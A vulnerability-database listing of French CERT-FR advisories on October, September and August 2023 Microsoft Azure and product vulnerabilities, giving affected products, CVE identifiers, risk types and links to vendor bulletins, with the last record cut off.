Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
87 vulnerabilities found for Azure by Microsoft
CERTFR-2023-AVI-0829
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer un déni de service, une élévation de privilèges et une exécution de code à distance.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | Azure | Azure DevOps Server 2020.0.2 | ||
| Microsoft | Azure | Azure Identity SDK pour Python | ||
| Microsoft | Azure | Azure RTOS GUIX Studio Installer Application | ||
| Microsoft | Azure | Azure Identity SDK pour JavaScript | ||
| Microsoft | Azure | Azure Identity SDK pour .NET | ||
| Microsoft | Azure | Azure RTOS GUIX Studio | ||
| Microsoft | Azure | Azure DevOps Server 2022.0.1 | ||
| Microsoft | Azure | Azure HDInsight | ||
| Microsoft | Azure | Azure Network Watcher VM Extension | ||
| Microsoft | Azure | Azure Identity SDK pour Java | ||
| Microsoft | Azure | Azure DevOps Server 2020.1.2 |
References
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure DevOps Server 2020.0.2",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Identity SDK pour Python",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure RTOS GUIX Studio Installer Application",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Identity SDK pour JavaScript",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Identity SDK pour .NET",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure RTOS GUIX Studio",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2022.0.1",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure HDInsight",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Network Watcher VM Extension",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Identity SDK pour Java",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2020.1.2",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-36419",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36419"
},
{
"name": "CVE-2023-36414",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36414"
},
{
"name": "CVE-2023-36561",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36561"
},
{
"name": "CVE-2023-36737",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36737"
},
{
"name": "CVE-2023-36418",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36418"
},
{
"name": "CVE-2023-36415",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36415"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36415 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36415"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36414 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36414"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36737 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36737"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36419 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36419"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36418 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36418"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36561 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36561"
}
],
"reference": "CERTFR-2023-AVI-0829",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-10-11T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer un d\u00e9ni de service, une \u00e9l\u00e9vation de privil\u00e8ges et une\nex\u00e9cution de code \u00e0 distance.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0830
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans les produits Microsoft. Elles permettent à un attaquant de provoquer une élévation de privilèges, une usurpation d'identité, une exécution de code à distance, un déni de service et une atteinte à la confidentialité des données.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | N/A | Microsoft Exchange Server 2019 Cumulative Update 13 | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.2 | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.7 | ||
| Microsoft | N/A | Microsoft OLE DB Driver 19 pour SQL Server | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes 32 bits (CU 4) | ||
| Microsoft | N/A | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 3 (GDR) | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.6 | ||
| Microsoft | N/A | Microsoft Common Data Model SDK pour C# | ||
| Microsoft | N/A | Microsoft SQL Server 2022 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft Exchange Server 2016 Cumulative Update 23 | ||
| Microsoft | Azure | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 3 Azure Connect Feature Pack | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes x64 (CU 4) | ||
| Microsoft | N/A | Skype pour Business Server 2019 CU7 | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.1 | ||
| Microsoft | N/A | Skype pour Business Server 2015 CU13 | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour systèmes 32 bits | ||
| Microsoft | N/A | Microsoft 365 Apps pour Enterprise pour 64 bits Systems | ||
| Microsoft | N/A | Microsoft SQL Server 2017 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft SQL Server 2017 pour systèmes x64 (CU 31) | ||
| Microsoft | N/A | Microsoft Visual Studio 2022 version 17.4 | ||
| Microsoft | N/A | Microsoft SQL Server 2019 pour systèmes x64 (GDR) | ||
| Microsoft | N/A | Microsoft ODBC Driver 18 pour SQL Server on MacOS | ||
| Microsoft | N/A | Microsoft SQL Server 2019 pour systèmes x64 (CU 22) | ||
| Microsoft | N/A | Microsoft ODBC Driver 17 pour SQL Server on MacOS | ||
| Microsoft | N/A | Microsoft Dynamics 365 (on-premises) version 9.0 | ||
| Microsoft | N/A | Microsoft Common Data Model SDK pour TypeScript | ||
| Microsoft | N/A | Microsoft SQL Server 2022 pour systèmes x64 (CU 8) | ||
| Microsoft | N/A | Microsoft Common Data Model SDK pour Java | ||
| Microsoft | N/A | Microsoft ODBC Driver 17 pour SQL Server on Linux | ||
| Microsoft | N/A | Microsoft Exchange Server 2019 Cumulative Update 12 | ||
| Microsoft | N/A | Microsoft OLE DB Driver 18 pour SQL Server | ||
| Microsoft | N/A | Microsoft ODBC Driver 18 pour SQL Server on Linux | ||
| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes 32 bits (GDR) | ||
| Microsoft | N/A | Microsoft Common Data Model SDK pour Python |
References
| Title | Publication Time | Tags | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Microsoft Exchange Server 2019 Cumulative Update 13",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.7",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft OLE DB Driver 19 pour SQL Server",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes 32 bits (CU 4)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 3 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.6",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Common Data Model SDK pour C#",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2022 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2016 Cumulative Update 23",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 3 Azure Connect Feature Pack",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes x64 (CU 4)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Skype pour Business Server 2019 CU7",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.1",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Skype pour Business Server 2015 CU13",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour syst\u00e8mes 32 bits",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour 64 bits Systems",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2017 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2017 pour syst\u00e8mes x64 (CU 31)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.4",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2019 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft ODBC Driver 18 pour SQL Server on MacOS",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2019 pour syst\u00e8mes x64 (CU 22)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft ODBC Driver 17 pour SQL Server on MacOS",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Common Data Model SDK pour TypeScript",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2022 pour syst\u00e8mes x64 (CU 8)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Common Data Model SDK pour Java",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft ODBC Driver 17 pour SQL Server on Linux",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2019 Cumulative Update 12",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft OLE DB Driver 18 pour SQL Server",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft ODBC Driver 18 pour SQL Server on Linux",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes 32 bits (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Common Data Model SDK pour Python",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-36728",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36728"
},
{
"name": "CVE-2023-36429",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36429"
},
{
"name": "CVE-2023-36420",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36420"
},
{
"name": "CVE-2023-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-44487"
},
{
"name": "CVE-2023-36730",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36730"
},
{
"name": "CVE-2023-36789",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36789"
},
{
"name": "CVE-2023-36778",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36778"
},
{
"name": "CVE-2023-36566",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36566"
},
{
"name": "CVE-2023-36780",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36780"
},
{
"name": "CVE-2023-36786",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36786"
},
{
"name": "CVE-2023-36568",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36568"
},
{
"name": "CVE-2023-38171",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-38171"
},
{
"name": "CVE-2023-36417",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36417"
},
{
"name": "CVE-2023-41763",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-41763"
},
{
"name": "CVE-2023-36416",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36416"
},
{
"name": "CVE-2023-36785",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36785"
},
{
"name": "CVE-2023-36433",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36433"
},
{
"name": "CVE-2023-36569",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36569"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36728 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36728"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36420 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36420"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36785 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36785"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-41763 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-41763"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36429 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36429"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36569 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36569"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36568 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36568"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36433 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36433"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36566 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36566"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36786 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36786"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-44487 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-44487"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36730 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36730"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36789 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36789"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36416 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36416"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36778 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36778"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-38171 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-38171"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36417 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36417"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36780 du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36780"
}
],
"reference": "CERTFR-2023-AVI-0830",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-10-11T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eles produits Microsoft\u003c/span\u003e. Elles permettent \u00e0 un\nattaquant de provoquer une \u00e9l\u00e9vation de privil\u00e8ges, une usurpation\nd\u0027identit\u00e9, une ex\u00e9cution de code \u00e0 distance, un d\u00e9ni de service et une\natteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Microsoft",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 10 octobre 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0742
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance et une élévation de privilèges.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | Azure | Azure HDInsights | ||
| Microsoft | Azure | Azure DevOps Server 2019.0.1 | ||
| Microsoft | Azure | Azure DevOps Server 2020.0.2 | ||
| Microsoft | Azure | Azure Kubernetes Service | ||
| Microsoft | Azure | Azure DevOps Server 2022.0.1 | ||
| Microsoft | Azure | Azure DevOps Server 2020.1.2 | ||
| Microsoft | Azure | Azure DevOps Server 2019.1.2 |
References
| Title | Publication Time | Tags | |||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure HDInsights",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2019.0.1",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2020.0.2",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Kubernetes Service",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2022.0.1",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2020.1.2",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2019.1.2",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-38156",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-38156"
},
{
"name": "CVE-2023-33136",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-33136"
},
{
"name": "CVE-2023-38155",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-38155"
},
{
"name": "CVE-2023-29332",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-29332"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-33136 du 12 septembre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-33136"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-29332 du 12 septembre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29332"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-38155 du 12 septembre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-38155"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-38156 du 12 septembre 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-38156"
}
],
"reference": "CERTFR-2023-AVI-0742",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-09-13T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer une ex\u00e9cution de code arbitraire \u00e0 distance et une\n\u00e9l\u00e9vation de privil\u00e8ges.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 12 septembre 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0644
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer une élévation de privilèges et une usurpation d'identité.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | ||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Arc-Enabled Servers",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure HDInsights",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2019.0.1",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2022.0.1",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2020.1.2",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2019.1.2",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-36877",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36877"
},
{
"name": "CVE-2023-35394",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-35394"
},
{
"name": "CVE-2023-38188",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-38188"
},
{
"name": "CVE-2023-36881",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36881"
},
{
"name": "CVE-2023-35393",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-35393"
},
{
"name": "CVE-2023-36869",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-36869"
},
{
"name": "CVE-2023-38176",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-38176"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-35394 du 08 ao\u00fbt 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35394"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-38188 du 08 ao\u00fbt 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-38188"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36869 du 08 ao\u00fbt 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36869"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-35393 du 08 ao\u00fbt 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35393"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36877 du 08 ao\u00fbt 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36877"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-38176 du 08 ao\u00fbt 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-38176"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-36881 du 08 ao\u00fbt 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36881"
}
],
"reference": "CERTFR-2023-AVI-0644",
"revisions": [
{
"description": "Version initiale",
